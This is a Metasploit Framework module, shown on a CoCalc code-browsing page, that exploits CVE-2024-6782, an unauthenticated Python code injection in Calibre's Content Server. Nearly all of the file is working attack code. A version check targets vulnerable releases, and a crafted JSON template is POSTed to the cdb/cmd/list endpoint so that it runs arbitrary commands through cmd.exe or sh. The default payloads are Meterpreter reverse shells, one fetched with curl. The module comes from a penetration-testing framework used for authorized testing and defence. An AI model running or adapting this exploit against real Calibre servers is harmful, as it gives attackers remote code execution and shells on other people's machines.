CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/misc/calibre_exec.rb
Views: 11784
1
class MetasploitModule < Msf::Exploit::Remote
2
Rank = ExcellentRanking
3
include Msf::Exploit::Remote::HttpClient
4
prepend Msf::Exploit::Remote::AutoCheck
5
6
def initialize(info = {})
7
super(
8
update_info(
9
info,
10
'Name' => 'Calibre Python Code Injection (CVE-2024-6782)',
11
'Description' => %q{
12
This module exploits a Python code injection vulnerability in the Content Server component of Calibre v6.9.0 - v7.15.0. Once enabled (disabled by default), it will listen in its default configuration on all network interfaces on TCP port 8080 for incoming traffic, and does not require any authentication. The injected payload will get executed in the same context under which Calibre is being executed.
13
},
14
'License' => MSF_LICENSE,
15
'Author' => [
16
'Amos Ng', # Discovery & PoC
17
'Michael Heinzl', # MSF exploit
18
],
19
'References' => [
20
[ 'URL', 'https://starlabs.sg/advisories/24/24-6782'],
21
[ 'CVE', '2024-6782']
22
],
23
'DisclosureDate' => '2024-07-31',
24
'Platform' => ['win', 'linux', 'unix'],
25
'Arch' => [ ARCH_CMD ],
26
27
'Payload' => {
28
'BadChars' => '\\'
29
},
30
31
'Targets' => [
32
[
33
'Windows_Fetch',
34
{
35
'Arch' => [ ARCH_CMD ],
36
'Platform' => 'win',
37
'DefaultOptions' => {
38
'FETCH_COMMAND' => 'CURL',
39
'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp'
40
},
41
'Type' => :win_fetch
42
}
43
],
44
[
45
'Linux Command',
46
{
47
'Platform' => [ 'unix', 'linux' ],
48
'Arch' => ARCH_CMD,
49
'Type' => :nix_cmd,
50
'DefaultOptions' => {
51
'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'
52
}
53
}
54
],
55
56
],
57
'DefaultTarget' => 0,
58
59
'Notes' => {
60
'Stability' => [CRASH_SAFE],
61
'Reliability' => [REPEATABLE_SESSION],
62
'SideEffects' => [IOC_IN_LOGS]
63
}
64
)
65
)
66
67
register_options(
68
[
69
Opt::RPORT(8080)
70
]
71
)
72
end
73
74
def check
75
begin
76
res = send_request_cgi({
77
'method' => 'GET',
78
'uri' => normalize_uri(target_uri.path)
79
})
80
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
81
return CheckCode::Unknown
82
end
83
84
if res && res.code == 200
85
data = res.body.to_s
86
pattern = /CALIBRE_VERSION\s*=\s*"([^"]+)"/
87
88
version = data.match(pattern)
89
90
if version[1].nil?
91
return CheckCode::Unknown
92
else
93
vprint_status('Version retrieved: ' + version[1].to_s)
94
end
95
96
if Rex::Version.new(version[1]).between?(Rex::Version.new('6.9.0'), Rex::Version.new('7.15.0'))
97
return CheckCode::Appears
98
else
99
return CheckCode::Safe
100
end
101
else
102
return CheckCode::Unknown
103
end
104
end
105
106
def exploit
107
execute_command(payload.encoded)
108
end
109
110
def execute_command(cmd)
111
print_status('Sending payload...')
112
exec_calibre(cmd)
113
print_status('Exploit finished, check thy shell.')
114
end
115
116
def exec_calibre(cmd)
117
payload = '['\
118
'["template"], '\
119
'"", '\
120
'"", '\
121
'"", '\
122
'1,'\
123
'"python:def evaluate(a, b):\\n '\
124
'import subprocess\\n '\
125
'try:\\n '\
126
"return subprocess.check_output(['cmd.exe', '/c', '#{cmd}']).decode()\\n "\
127
'except Exception:\\n '\
128
"return subprocess.check_output(['sh', '-c', '#{cmd}']).decode()\""\
129
']'
130
131
res = send_request_cgi({
132
'method' => 'POST',
133
'ctype' => 'application/json',
134
'data' => payload,
135
'uri' => normalize_uri(target_uri.path, 'cdb/cmd/list')
136
})
137
138
if res && res.code == 200
139
print_good('Command successfully executed, check your shell.')
140
elsif res && res.code == 400
141
fail_with(Failure::UnexpectedReply, 'Server replied with a Bad Request response.')
142
end
143
end
144
145
end
146
147